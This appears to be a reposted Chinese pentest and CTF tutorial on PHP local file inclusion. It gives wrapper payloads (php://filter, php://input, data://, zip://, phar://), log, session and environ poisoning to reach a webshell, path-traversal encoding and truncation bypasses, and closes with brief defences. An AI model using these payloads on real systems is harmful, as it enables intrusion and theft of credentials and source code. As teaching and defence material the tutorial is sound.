面试问题

1,任意文件读取,到底读什么文件,有什么危害

权限是www

只能读第一个,读这个没用,密码在/etc/shadow中

其它没有权限

my.cnf    mysql密码看不了

但是可以看见日志文件的目录

sql注入时,你有注入点,可以支持堆叠,并且是root权限

就可以打开日志,修改位置

就可以通过修改成php文件

来实现webshell

.env重点

准备阶段

伪协议


一.【file://协议】

PHP.ini:

file:// 协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

img

file:// [文件的绝对路径和文件名]

http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

​编辑

二.【php://协议】

条件:

不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

参考自:PHP: php:// - Manual

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

PHP.ini:

php://filter在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

img

测试现象:

http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php

img

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

PHP.ini:

allow_url_fopen :off/on

allow_url_include:on

img

测试现象:

http://127.0.0.1/cmd.php?file=php://input

[POST DATA] <?php phpinfo()?>

也可以POST如下内容生成一句话: <?php ?>’);?>

img

三.【zip://, bzip2://, zlib://协议】

自动解压压缩包 然后把压缩包的文件放在include 进行文件包含

PHP.ini:

zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

参考自:PHP: zlib:// - Manual

img

1.【zip://协议】

使用方法:

zip://archive.zip#dir/file.txt

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

测试现象:

http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

img

这个压缩后php特征明显,可以

绕过waf

2.【bzip2://协议】

使用方法:

compress.bzip2://file.bz2

测试现象:

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

img

3.【zlib://协议】

使用方法:

compress.zlib://file.gz

测试现象:

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

img

四.【data://协议】

经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件

PHP.ini:

data://协议必须双在on才能正常使用;

allow_url_fopen :on

allow_url_include:on

参考自:PHP: data:// - Manual, 官方文档上allow_url_fopen应为yes。

img

测试现象:

http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>

or

http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

也可以:

http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>

or

http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

img

五. 常规小结:

PHP封装协议在CTF蛮常见的,是经常会遇到的出题点,如下便是对本篇涉及的封装协议进行的总结,期待小伙伴的交流和补充。

文件包含的函数 

php代码不会展现在页面

包含APACHE日志文件

你必须要知道日志物理路径

  WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。   Apache运行后一般默认会生成两个日志文件,Windos下是access.log(访问日志)和error.log(错误日志),Linux下是access_log和error_log,访问日志文件记录了客户端的每次请求和服务器响应的相关信息。如果访问一个不存在的资源时,如XXXX<?php phpinfo(); ?>,则会记录在日志中,但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把<?php phpinfo(); ?> 写入apache的日志文件,然后可以通过包含日志文件来执行此代码,但前提是你得知道apache日志文件的存储路径,所以为了安全期间,安装apache时尽量不要使用默认路径。

(但是日志可能太多,会导致)服务器down)

日志分隔

一般大公司都会,按时间分隔,可能凌晨12点

参考文章:

1.包含日志文件getshell      2.一道包含日志文件的CTF题

包含SESSION文件

可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。

利用条件:

  • 找到Session内的可控变量

  • Session文件可读写,并且知道存储路径

php的session文件的保存路径可以在phpinfo的session.save_path看到。 session常见存储路径:

  • /var/lib/php/sess_PHPSESSID

  • /var/lib/php/sess_PHPSESSID

  • /tmp/sess_PHPSESSID

  • /tmp/sessions/sess_PHPSESSID

  • session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。

参考文章:一道SESSION包含的CTF题

包含/PROC/SELF/ENVIRON

proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。

**利用条件:**

- php以cgi方式运行,这样environ才会保持UA头。
- environ文件存储位置已知,且environ文件可读。

参考文章:[proc / self / environ Injection

包含临时文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考LFI With PHPInfo Assistance

类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题:XMAN夏令营-2017-babyweb-writeup

其他包含姿势

  • 包含SMTP(日志)

  • 包含xss

文件包含漏洞的绕过方法

指定前缀绕过

一、目录遍历

使用 ../../ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=../../phpinfo/phpinfo.php 测试代码如下:

<?php error_reporting(0); $file = $_GET["file"]; //前缀 include "/var/www/html/".$file; 
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

现在在/var/log目录下有文件flag.txt,则利用…/可以进行目录遍历,比如我们尝试访问:

 include.php?file=../../log/flag.txt

则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,即 /var/log/flag.txt,从而包含成功。

二、编码绕过

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。 1.利用url编码

  • ../

    • %2e%2e%2f

    • ..%2f

    • %2e%2e/

  • ..\

    • %2e%2e%5c

    • ..%5c

    • %2e%2e\

2.二次编码

  • ../

    • %252e%252e%252f

  • ..\

    • %252e%252e%255c

3.容器/服务器的编码方式

  • ../

    • ..%c0%af

      • 注:Why does Directory traversal attack %C0%AF work?

    • %c0%ae%c0%ae/

      • 注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点) Apache Tomcat Directory Traversal

  • ..\

    • ..%c1%9c

指定后缀绕过

后缀绕过测试代码如下,下述各后缀绕过方法均使用此代码:

<?php error_reporting(0); $file = $_GET["file"]; //后缀 include $file.".txt"; 
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

一、利用URL

在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。 可参考此文章:URI’s fragment

完整url格式:

protocol :// hostname[:port] / path / [;parameters][?query]#fragment
11

query(?)

  • [访问参数] ?file=http://localhost:8081/phpinfo.php?

  • [拼接后]  ?file=http://localhost:8081/phpinfo.php?.txt

Example:(设在根目录下有flag2.txt文件) fragment(#)

  • [访问参数] ?file=http://localhost:8081/phpinfo.php%23

  • [拼接后]  ?file=http://localhost:8081/phpinfo.php#.txt

Example:(设在根目录下有flag2.txt文件)

二、利用协议

利用zip://和phar://,由于整个压缩包都是我们的可控参数,那么只需要知道他们的后缀,便可以自己构建。

zip://

  • [访问参数] ?file=zip://D:\zip.jpg%23phpinfo

  • [拼接后]  ?file=zip://D:\zip.jpg#phpinfo.txt

phar://

  • [访问参数] ?file=phar://zip.zip/phpinfo

  • [拼接后]  ?file=phar://zip.zip/phpinfo.txt

Example: (我的环境根目录中有php.zip压缩包,内含phpinfo.txt,其中包含代码<?php phpinfo();?>)) 所以分别构造payload为:

?file=zip://D:\PHPWAMP_IN3\wwwroot\php.zip%23phpinfo ?file=phar://../../php.zip/phpinfo

三、长度截断

利用条件:

  • php版本 < php 5.2.8

原理:

  • Windows下目录最大长度为256字节,超出的部分会被丢弃

  • Linux下目录最大长度为4096字节,超出的部分会被丢弃。

利用方法:

  • 只需要不断的重复 ./(Windows系统下也可以直接用 . 截断)

      ?file=./././。。。省略。。。././shell.php
    11

则指定的后缀.txt会在达到最大值后会被直接丢弃掉

四、%00截断

利用条件:

  • magic_quotes_gpc = Off

  • php版本 < php 5.3.4

利用方法:

  • 直接在文件名的最后加上%00来截断指定的后缀名

      ?file=shell.php%00

注:现在用到%00阶段的情况已经不多了

文件包含漏洞防御

  • allow_url_include和allow_url_fopen最小权限化

  • 设置open_basedir(open_basedir 将php所能打开的文件限制在指定的目录树中)

  • *白名单限制包含文件,或者严格过滤 . / *

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/93959.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/93959.shtml
英文地址,请注明出处:http://en.pswp.cn/pingmian/93959.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux 软件包安装和管理的相关操作及使用总结(未完成)

一、基础知识1、软件包分类源码包&#xff08;Source Package&#xff09;&#xff1a;包含软件的源代码文件、编译指令和配置文件。需要用户自行编译安装&#xff0c;过程相对复杂&#xff0c;但灵活性高&#xff0c;可以定制安装选项。文件格式通常为.tar.gz、.tar.bz2等压缩…

【开发指南】飞凌i.MX9352核心板开发过程中的常见问题及排查思路

飞凌嵌入式作为NXP金牌合作伙伴&#xff0c;已基于i.MX系列应用处理器推出了多款嵌入式主控产品&#xff0c;除了最新发布的i.MX95xx系列核心板外&#xff0c;同为i.MX9系的i.MX93xx系列核心板也已上市多年并获得了众多客户的认可和选择。在长期的技术支持服务过程中&#xff0…

Windows应急响应一般思路(二)

进程排查 进程(Process)是计算机中的程序关于某数据集合上的一次运行活动&#xff0c;是系统进行资源分配和调度的基本单位&#xff0c;是操作系统结构的基础 无论是在Windows系统还是Linux系统中&#xff0c;主机在感染恶意程序后&#xff0c;恶意程序都会启动相应的进程&am…

FFmpeg03:多媒体文件处理基础

日志系统 #include <libavutil/log.h>av_log_set_level(AV_LOG_DEBUG)av_log(NULL, AV_LOG_INFO, “…%s\n”, op) 常用日志级别 AV_LOG_ERROR AV_LOG_WARNING AV_LOG_INFO Demo log.cpp #include <iostream> extern "C" { #include <libavutil/log.h…

【每天一个知识点】AIOps 与自动化管理

一、AIOps 的内涵AIOps&#xff08;Artificial Intelligence for IT Operations&#xff09;&#xff1a;指将人工智能、大数据分析和机器学习技术应用于 IT 运维管理中。主要目标是&#xff1a;利用智能算法对云平台、网络、应用和日志等海量运维数据进行实时分析&#xff0c;…

ios使用saveVideoToPhotosAlbum 保存视频失败提示 invalid video

ios使用saveVideoToPhotosAlbum 保存视频失败提示 invalid video 解决办法 iOS 上对保存到相册的视频存在某种格式和分辨率上的限制&#xff0c;建议先自查看下视频生成的参数&#xff0c;可以先试试苹果自带浏览器 safari 上能否播放该视频。 如果不能播放&#xff0c;证明 io…

Vue基础(③父子组件)

房子&#xff08;父组件&#xff09;包含窗户和门&#xff08;子组件&#xff09; 窗户和门&#xff08;子组件&#xff09;是房子&#xff08;父组件&#xff09;的一部分父组件<!-- 父组件&#xff1a;比如叫 Home.vue --> <template><div><h1>这是父…

AI领域的语义空间是什么?

写在前面&#xff1a;本文将从简单的二维空间来逐渐展开问题&#xff0c;带您理解语义空间。距离和体型&#xff1a;这里尝试用距离和体型这两个尺度来理解语义空间&#xff0c;先说的是低维情况&#xff0c;后面在尝试理解高维的情况。比如&#xff0c;在二维空间的x,y坐标系&…

排序---插入排序

基本思想对于插入排序而言&#xff0c;它的基本思想就是往已经排好序的序列里边插入数据。思想类似于玩扑克牌。接下来的排序都是基于下边的这个数组。int a[ ] { 5 , 3 , 9 , 6 , 2 , 4 , 7 , 1 , 8 };直接插入排序我们想要将这个数组排成升序&#xff0c;在最一开始&#xf…

Java性能优化实战(四):IO与网络优化的4个关键方向

IO与网络操作是Java应用性能的常见瓶颈&#xff0c;尤其在高并发场景下&#xff0c;低效的IO处理会导致响应缓慢、资源浪费等问题。本文将聚焦IO与网络优化的四个核心方向&#xff0c;通过真实案例、代码对比和性能数据&#xff0c;详解如何提升IO效率、减少网络传输开销&#…

对齐Wireshark和USRP捕获信号的波形

一、USRP信号 USRP捕获信号的波形如下&#xff1a; 放大后&#xff1a; 100ms 10ms 1ms 100us 10us 1us 二、波形分析 2.1 时间分辨率 采样率61.44MHz, 对应时间分辨率为1/61.44us0.01627us16.27ns。 这时间分辨率够用了&#xff0c;数据包长度为1到20us&#xff1a; 2.2 W…

2025年加密软件技术深度分析:从原理到企业级应用实践

一、加密技术基础与分类加密技术作为信息安全的核心基石&#xff0c;其基本原理是通过特定算法将明文数据转换为不可读的密文&#xff0c;只有持有正确密钥的授权用户才能解密还原。2025年主流的加密技术可分为三大类&#xff1a;‌对称加密‌&#xff1a;使用相同密钥进行加密…

打工人日报20250822

打工人日报20250822 对自己负责&#xff0c;可以是换一个角度看待自己不喜欢的工作&#xff0c;转换一个角度&#xff0c;从中找到自己感兴趣的点 真的非常不想计算声场的数据 啊啊啊啊啊 技术 STM32烧录问题 STM32 代码烧录失败&#xff1a;Error: Flash Download failed …

消费盲返模式:重构快消行业营销生态的破局之道与风险防控指南

一、模式爆发&#xff1a;快消行业的新增长引擎在流量成本攀升、用户留存困难的商业环境下&#xff0c;消费盲返模式正成为零售领域的一匹黑马。其核心逻辑在于通过"消费即投资"的机制设计&#xff0c;将每笔交易转化为后续100笔订单的激励源&#xff0c;形成独特的&…

STM32-FreeRTOS快速入门指南(上)

第一章 FreeRTOS系统配置 1. FreeRTOSConfig.h文件 针对 FreeRTOSConfig.h 文件&#xff0c;在 FreeRTOS 官方的在线文档中有详细的说明&#xff0c;网址为&#xff1a; https://www.freertos.org/a00110.html FreeRTOS 使用 FreeRTOSConfig.h 文件进行配置和裁剪。 FreeRTOSCo…

南溪智融双碳示范基地建筑设备管理系统 + 智能照明系统调试完成:筑牢 “绿色智能” 运营基石

南溪智融双碳示范基地作为聚焦 “双碳” 目标的标杆项目&#xff0c;其建筑设备管理系统与智能照明系统的调试完成&#xff0c;标志着基地在 “设备高效运维、能源精准管控、低碳场景落地” 方面迈出关键一步。两大系统深度契合示范基地 “以技术赋能双碳” 的核心定位&#xf…

c++的可扩展性方法

在C编码中&#xff0c;"方便扩展"通常指的是代码设计具有良好的**可维护性、可重用性和灵活性**&#xff0c;能够在不修改原有代码或仅少量修改的情况下&#xff0c;轻松添加新功能、支持新类型或适应新需求。以下是一些典型的、体现“方便扩展”思想的C编程案例&…

加速车辆开发 风丘道路载荷数据采集 (RLDA) 测试方案

一、背景 整车厂在汽车上市前&#xff0c;了解产品所能承受的载荷是非常重要的&#xff0c;因此需进行道路载荷数据采集&#xff08;RLDA&#xff09;测试。通过获得车辆在实际试验场或公路道路中行驶的载荷信息来为整车台架道路模拟试验提供目标信号输入&#xff0c;以及为用于…

大模型0基础开发入门与实践:第4章 “脑细胞”的模拟:神经网络与深度学习入门

第4章 “脑细胞”的模拟&#xff1a;神经网络与深度学习入门 1. 引言 在上一章&#xff0c;我们像一位侦探&#xff0c;学会了使用决策树这样的工具&#xff0c;从清晰的线索&#xff08;花瓣、花萼的尺寸&#xff09;中推理出确定的结论&#xff08;鸢尾花的种类&#xff09;。…

微服务之间的调用关系如何处理,才能防止循环依赖

在微服务架构中&#xff0c;循环依赖是常见的设计问题&#xff0c;可能导致系统部署失败、启动顺序冲突、故障排查困难等问题。处理循环依赖的核心原则是通过架构设计打破依赖闭环&#xff0c;以下是具体的解决方案&#xff1a; 1. 重新划分服务边界&#xff08;根本解决&#…